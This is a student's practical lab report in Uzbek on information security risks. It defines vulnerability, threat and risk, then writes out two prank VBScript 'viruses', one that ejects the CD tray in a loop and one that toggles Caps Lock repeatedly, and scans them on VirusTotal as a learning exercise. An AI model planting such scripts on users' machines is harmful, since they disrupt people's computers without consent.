Kommunikatsiyalarini rivojlantirish vazirligi muhammad al-xorazmiy nomidagi toshkent axborot texnologiyalari universiteti qarshi filiali kompyuter injineringi

---

O‘ZBEKISTON RESPUBLIKASI AXBOROT TEXNOLOGIYALARI VA  

KOMMUNIKATSIYALARINI RIVOJLANTIRISH VAZIRLIGI MUHAMMAD  

AL-XORAZMIY NOMIDAGI TOSHKENT AXBOROT TEXNOLOGIYALARI 

UNIVERSITETI  QARSHI  FILIALI  KOMPYUTER  INJINERINGI 

YO’NALISHI   KI 12-19  -GURUH TALABASINING  

5 – AMALIY MASHG’ULOT

  

 

 

 

 

 

 

 

 

 

 

 

 

 

Bajardi: Ruhiddinov Salohiddin  

Tekshirdi:Fayzi Bekkamov

  

 

 

 

 

 

 

 

 

 

5-Amaliy mashg‘ulot  

---

Axborot xavfsizligi risklarini tahlili  

 Ishdan maqsad. Bloknot da soda viruslarni yaratish va yaratilgan viruslarni 

virustotal.com saytida tekshiruvdan o‘tkazish. Nazariy qism. Zaiflik — bu 

hisoblash tizimining (yoki bir nеcha tizimlarning) holati bo‘lib, u quyidagilarga 

imkon bеradi:   boshqa foydalanuvchi nomidan komandalarni bajarishga;   ushbu 

foydalanuvchi uchun taqiqlangan axborotlardan foydalanish imkonini olish;   

o‘zini boshfa foydalanuvchi yoki rеsurs sifatida ko‘rsatishga;   «xizmat 

ko‘rsatishni rad etish» turdagi hujumlarni amalga oshirish. Tahdid deganda 

kimlarningdir manfaatiga ziyon yetkazuvchi ro’y berishi mumkin bo’lgan voqea, 

ta’sir, jarayon tushuniladi. Axborotga yoki axborot tizimiga salbiy ta’sir 

ko’rsatuvchi potensial ro’y berishi mumkin bo’lgan voqea yoki jarayon axborot 

munosabatlari sub’yektlari manfaatlariga qaratilgan tahdid deb ataladi. Xavf-xatar 

esa tahdidni muvaffaqiyatli amalga oshirilishidir. Hodisa deganda zaiflik,tahdid va 

xavf-xatar birgalikda tushuniladi.  

 

http://hemendra-blackhathacker.blogspot.com/p/virus-codes.html orqali virus 

kodini olamiz. Bloknotga kiritib Anything.VBS nomi va kengaytmasi bilan 

saqlaymiz. 

 

http://hemendra-blackhathacker.blogspot.com/p/virus-

codes.html

  

 

Virus kodi   

Set oWMP = CreateObject("WMPlayer.OCX.7")  

 Set colCDROMs = oWMP.cdromCollection  

 Do if colCDROMs.Count >= 1 then  

For i = 0 to colCDROMs.Count – 1  

colCDROMs.Item(i).Eject   

Next  

 For i = 0 to colCDROMs.Count – 1  colCDROMs.Item(i).Eject  

 Next  

 End  

If   

wscript.sleep 5000  

loop  

2. Yaratilgan virusni https://www.virustotal.com/gui/home/upload sayti 

orqali tekshiramiz.  

---

 

 

 

 

  

 

 

---

 

 

 

 

 

 

---

 

 

  

Endi ikinchi virusni tekshirib kuramiz  

KODI:  

Set wshShell =wscript.CreateObject("

WScript

.Shel 

l") do wscript.sleep 100 wshshell.sendkeys 

"{CAPSLOCK}" 

 

loop 

 

  

 

 

---

  

 

  

  

  

---

  

  

Bu viruslarni tekshirganimizdan so’ng bularni havlilik darajasin qizil bilan 

ko’rsatadi va bularni biz havfini ko’rib chiqdik  .!!!